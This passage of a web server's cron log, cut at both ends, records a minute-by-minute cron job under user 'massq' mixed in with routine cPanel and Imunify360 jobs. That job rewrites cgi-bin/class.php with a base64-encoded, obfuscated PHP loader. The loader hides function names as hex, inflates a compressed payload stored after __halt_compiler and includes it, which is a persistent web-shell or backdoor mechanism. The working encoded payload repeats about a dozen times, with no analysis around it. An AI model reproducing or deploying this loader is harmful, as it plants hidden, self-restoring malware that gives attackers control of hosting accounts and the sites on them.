0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:12:01 server CROND[25373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:12:01 server CROND[25375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:13:01 server CROND[25747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:13:01 server CROND[25748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:13:01 server CROND[25749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:14:01 server CROND[26123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:14:01 server CROND[26122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:14:01 server CROND[26124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:15:01 server CROND[26504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:15:01 server CROND[26505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:15:01 server CROND[26509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:15:01 server CROND[26512]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 04:15:01 server CROND[26511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:15:01 server CROND[26513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:15:01 server CROND[26508]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 04:15:01 server CROND[26510]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 04:15:01 server CROND[26507]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 04:16:01 server CROND[27335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:16:01 server CROND[27336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:16:01 server CROND[27337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:17:01 server CROND[27800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:17:01 server CROND[27802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:17:01 server CROND[27803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:17:01 server CROND[27801]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep  6 04:18:01 server CROND[28330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:18:01 server CROND[28331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:18:01 server CROND[28332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:19:01 server CROND[28694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:19:01 server CROND[28695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:19:01 server CROND[28700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:20:01 server CROND[29086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:20:01 server CROND[29088]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 04:20:01 server CROND[29092]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 04:20:01 server CROND[29091]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 04:20:01 server CROND[29094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:20:01 server CROND[29096]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 04:20:01 server CROND[29095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:20:01 server CROND[29093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:20:01 server CROND[29101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:21:01 server CROND[29930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:21:01 server CROND[29932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:21:01 server CROND[29931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:22:01 server CROND[30293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:22:01 server CROND[30292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:22:01 server CROND[30291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:23:01 server CROND[30756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:23:01 server CROND[30757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:23:01 server CROND[30758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:24:01 server CROND[31128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:24:01 server CROND[31129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:24:01 server CROND[31130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | 